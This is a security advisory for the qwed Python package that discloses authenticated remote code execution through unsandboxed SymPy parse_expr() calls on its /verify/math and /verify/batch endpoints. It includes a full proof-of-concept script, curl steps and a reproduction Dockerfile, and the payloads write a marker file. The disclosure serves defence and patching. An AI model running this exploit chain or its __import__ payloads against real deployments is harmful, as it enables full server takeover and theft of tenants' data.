PYSEC-2026-3914

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PYSEC-2026-3914

Summary: qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`

Details: ### Summary The `qwed` package (version 5.1.1) passes attacker-controlled input directly to SymPy's `parse_expr()` function without a restricted namespace. Because `parse_expr()` internally calls Python's `eval()`, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled `/auth/signup` endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise. ### Details The vulnerability exists in two independently reachable code paths: **Primary sink — `POST /verify/math`** `src/qwed_new/api/main.py:442` defines the `/verify/math` route, protected only by `get_current_tenant` (line 444), which accepts any valid tenant API key. The request body field `expression` is read at line 463 and passed through a cosmetic regex normalization at line 495 (`re.sub(r'(\d)(\()', r'\1*\2', expression)`) that performs no security validation. The normalized string is then passed directly to `parse_expr()` at line 504: ```python # src/qwed_new/api/main.py expression = request.get("expression") ... expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression) ... parsed = parse_expr(expression_normalized) # line 504 — unsandboxed eval ``` **Secondary sink — `POST /verify/batch`** `src/qwed_new/api/main.py:1481` defines the `/verify/batch` route. Batch items flow through `batch_service.create_job()` (line 1517) into `batch.py:132` where `item.query` is stored verbatim, then processed by `_verify_item()` (line 167). When the item type is `VerificationType.MATH` (line 222), the expression is passed to `parse_expr()` at line 239 with no sanitization: ```python # src/qwed_new/core/batch.py expression = item.query ... parsed = parse_expr(expression) # line 239 — unsandboxed eval ``` `parse_expr()` accepts a `global_dict` and `local_dict` parameter that, when set to `{"__builtins__": {}}` and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker. ### PoC **Environment setup (Docker)** ```bash # Build from repository root (one level above vuln-001/) docker build -t qwed-vuln-001 -f vuln-001/Dockerfile . # Run the server (binds to localhost:8765) docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001 ``` The Dockerfile installs `qwed` from the local repository source with all dependencies and starts the server with the following environment: - `QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789` - `API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789` - `QWED_CORS_ORIGINS=http://localhost` - `QWED_SKIP_ENV_INTEGRITY_CHECK=true` - `DATABASE_URL=sqlite:////tmp/qwed-poc.db` **Automated exploit (`poc.py`)** ```bash python3 vuln-001/poc.py --host 127.0.0.1 --port 8765 ``` The script performs three steps: 1. **Register an account** — `POST /auth/signup` with arbitrary email/password/organization (no invite code or admin approval required). 2. **Obtain an API key** — `POST /auth/api-keys` using the JWT returned from signup. 3. **Send the RCE payload** — `POST /verify/math` with the `x-api-key` header and the expression: ``` __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce') ``` **Expected output** ``` [+] Server is ready. [+] Account created; JWT bearer token obtained. [+] API key (first 20 chars): qwed_live_WwNm86Fpnh... [*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce') [*] HTTP status : 200 [*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"} [PASS] HTTP 200 returned — payload evaluated without error. ``` The server returns HTTP 200 and `{"value": 23.0}` — the return value of `write_text()` (23 bytes written), cast by SymPy to `Integer(23)`. This proves the Python expression was executed inside the server process. **Decisive verification** ```bash docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce # Expected: pwned_by_parse_expr_rce ``` The same technique applies to `POST /verify/batch` by submitting a batch job with a math item whose `query` field contains the payload; a separate marker file `/tmp/qwed_batch_parse_expr_rce` was also confirmed during dynamic testing. **Manual curl reproduction (no Python script)** ```bash # Step 1: sign up and capture JWT TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"Password123!","organization_name":"poc-org"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])') # Step 2: create API key APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"name":"poc"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])') # Step 3: send payload rm -f /tmp/qwed_parse_expr_rce curl -sS -X POST http://127.0.0.1:8765/verify/math \ -H 'Content-Type: application/json' \ -H "x-api-key: $APIKEY" \ -d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}' # Step 4: confirm file was written by the server process cat /tmp/qwed_parse_expr_rce # Expected: owned ``` ### Impact This is an **Authenticated Remote Code Execution** vulnerability. Any user who can create a tenant account (which is possible by default, since `/auth/signup` requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user. Concrete impact includes: - **Confidentiality** — read any file accessible to the server process (environment variables, secret keys, database contents, source code). - **Integrity** — write or overwrite any file accessible to the server process, modify database records, plant backdoors. - **Availability** — terminate the server process, exhaust resources, corrupt persistent storage. In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 Reproduction Environment # Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1 # # Build from the repo root (one level above vuln-001/): # docker build -t qwed-vuln-001 -f vuln-001/Dockerfile . # # Run: # docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001 FROM python:3.12-slim-bookworm ENV PYTHONDONTWRITEBYTECODE=1 \ PYTHONUNBUFFERED=1 WORKDIR /app # Install minimal build dependencies required by some native extensions RUN apt-get update \ && apt-get install -y --no-install-recommends gcc g++ \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* # Copy the repository source COPY repo/ /app/repo/ # Install hatchling build backend, then install the package with all dependencies # z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12 RUN pip install --no-cache-dir --upgrade pip hatchling \ && pip install --no-cache-dir -e /app/repo # Runtime environment variables — minimal set required to start the server ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ QWED_CORS_ORIGINS="http://localhost" \ QWED_SKIP_ENV_INTEGRITY_CHECK="true" \ DATABASE_URL="sqlite:////tmp/qwed-poc.db" EXPOSE 8765 CMD ["python3", "-m", "uvicorn", "qwed_new.api.main:app", \ "--host", "0.0.0.0", "--port", "8765", "--log-level", "warning"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ Proof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() — VULN-001 Affected product : QWED 5.1.1 (QWED-AI/qwed-verification) Endpoint : POST /verify/math CWE : CWE-94 — Improper Control of Code Generation CVSS : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Root cause: src/qwed_new/api/main.py:504 passes attacker-controlled input directly to sympy.parsing.sympy_parser.parse_expr() without a restricted global/local namespace. parse_expr() internally calls eval(), so any valid Python expression — including __import__() calls — is executed server-side. Exploit chain: 1. Register an account via POST /auth/signup (open to any user by default) 2. Obtain an API key via POST /auth/api-keys 3. POST /verify/math with expression=<python code> The code runs inside the server process. Observable evidence: - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated - A marker file is written inside the container; verify with: docker exec <container> cat /tmp/qwed_parse_expr_rce Expected content: "pwned_by_parse_expr_rce" Usage: python3 poc.py [--host 127.0.0.1] [--port 8765] """ import argparse import json import sys import time import requests # Path written inside the server process by the RCE payload RCE_MARKER_PATH = "/tmp/qwed_parse_expr_rce" # Content written to the marker file (must not contain quotes) RCE_MARKER_CONTENT = "pwned_by_parse_expr_rce" def wait_for_server(base_url: str, timeout: int = 90) -> bool: """Poll the server health endpoint until it responds or timeout expires.""" print(f"[*] Waiting for server at {base_url} (up to {timeout}s)...") deadline = time.time() + timeout while time.time() < deadline: try: r = requests.get(f"{base_url}/health", timeout=2) if r.status_code < 500: return True except requests.exceptions.ConnectionError: pass time.sleep(2) return False def signup(base_url: str) -> str: """ Create an attacker-controlled account and return the JWT bearer token. /auth/signup is enabled by default and requires no prior authorization. """ payload = { "email": "[email protected]", "password": "Attacker1234!", "organization_name": "vuln001-attacker-org", } r = requests.post(f"{base_url}/auth/signup", json=payload, timeout=15) if r.status_code == 400 and "already registered" in r.text: # Account exists from a previous run; sign in instead sign_in_payload = { "email": payload["email"], "password": payload["password"], } r = requests.post(f"{base_url}/auth/signin", json=sign_in_payload, timeout=15) r.raise_for_status() token = r.json()["access_token"] return token def create_api_key(base_url: str, bearer_token: str) -> str: """ Create an API key for the attacker account. Returns the plaintext key (shown only once by the API). """ headers = {"Authorization": f"Bearer {bearer_token}"} r = requests.post( f"{base_url}/auth/api-keys", json={"name": "vuln001-poc"}, headers=headers, timeout=15, ) r.raise_for_status() return r.json()["key"] def exploit(base_url: str, api_key: str) -> dict: """ Send the RCE payload to POST /verify/math. The expression uses pathlib.Path.write_text() which: - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process - Returns an integer (bytes written) that parse_expr() can handle without raising an exception, making the side-effect transparent to the caller The absence of an error and a 200 status code proves code execution. """ expression = ( f"__import__('pathlib')" f".Path('{RCE_MARKER_PATH}')" f".write_text('{RCE_MARKER_CONTENT}')" ) headers = { "Content-Type": "application/json", "x-api-key": api_key, } r = requests.post( f"{base_url}/verify/math", json={"expression": expression}, headers=headers, timeout=20, ) content_type = r.headers.get("content-type", "") body = r.json() if "application/json" in content_type else r.text return {"status_code": r.status_code, "body": body} def main() -> None: parser = argparse.ArgumentParser( description="PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1" ) parser.add_argument("--host", default="127.0.0.1", help="API server host") parser.add_argument("--port", type=int, default=8765, help="API server port") args = parser.parse_args() base_url = f"http://{args.host}:{args.port}" # ── Step 0: wait for server ────────────────────────────────────────────── if not wait_for_server(base_url): print("[FAIL] Server did not become ready within the timeout.") sys.exit(1) print("[+] Server is ready.\n") # ── Step 1: sign up ────────────────────────────────────────────────────── print("[*] Step 1/3: Creating attacker account via POST /auth/signup") bearer_token = signup(base_url) print("[+] Account created; JWT bearer token obtained.\n") # ── Step 2: API key ────────────────────────────────────────────────────── print("[*] Step 2/3: Obtaining API key via POST /auth/api-keys") api_key = create_api_key(base_url, bearer_token) print(f"[+] API key (first 20 chars): {api_key[:20]}...\n") # ── Step 3: exploit ────────────────────────────────────────────────────── rce_expression = ( f"__import__('pathlib')" f".Path('{RCE_MARKER_PATH}')" f".write_text('{RCE_MARKER_CONTENT}')" ) print("[*] Step 3/3: Sending RCE payload to POST /verify/math") print(f" expression = {rce_expression}\n") result = exploit(base_url, api_key) print(f"[*] HTTP status : {result['status_code']}") print(f"[*] HTTP response:\n{json.dumps(result['body'], indent=2)}\n") if result["status_code"] == 200: print("=" * 60) print("[PASS] HTTP 200 returned — payload evaluated without error.") print(f" The server wrote '{RCE_MARKER_CONTENT}' to {RCE_MARKER_PATH}") print() print(" Verify decisive evidence inside the container:") print(f" docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}") print("=" * 60) sys.exit(0) else: print(f"[FAIL] Unexpected HTTP {result['status_code']} — exploit did not succeed.") sys.exit(2) if __name__ == "__main__": main() ```

References: https://github.com/QWED-AI/qwed-verification/security/advisories/GHSA-q27q-98j4-9pfv, https://github.com/QWED-AI/qwed-verification/pull/200, https://github.com/QWED-AI/qwed-verification/commit/6066b68c0c4f4cc2c3771824822aaa864d082ef8, https://github.com/QWED-AI/qwed-verification/commit/dc9d4db72ca4b4ae3f96d0e6a0c27a9e38a06f61, https://github.com/QWED-AI/qwed-verification, https://pypi.org/project/qwed, https://github.com/advisories/GHSA-q27q-98j4-9pfv, https://nvd.nist.gov/vuln/detail/CVE-2026-55585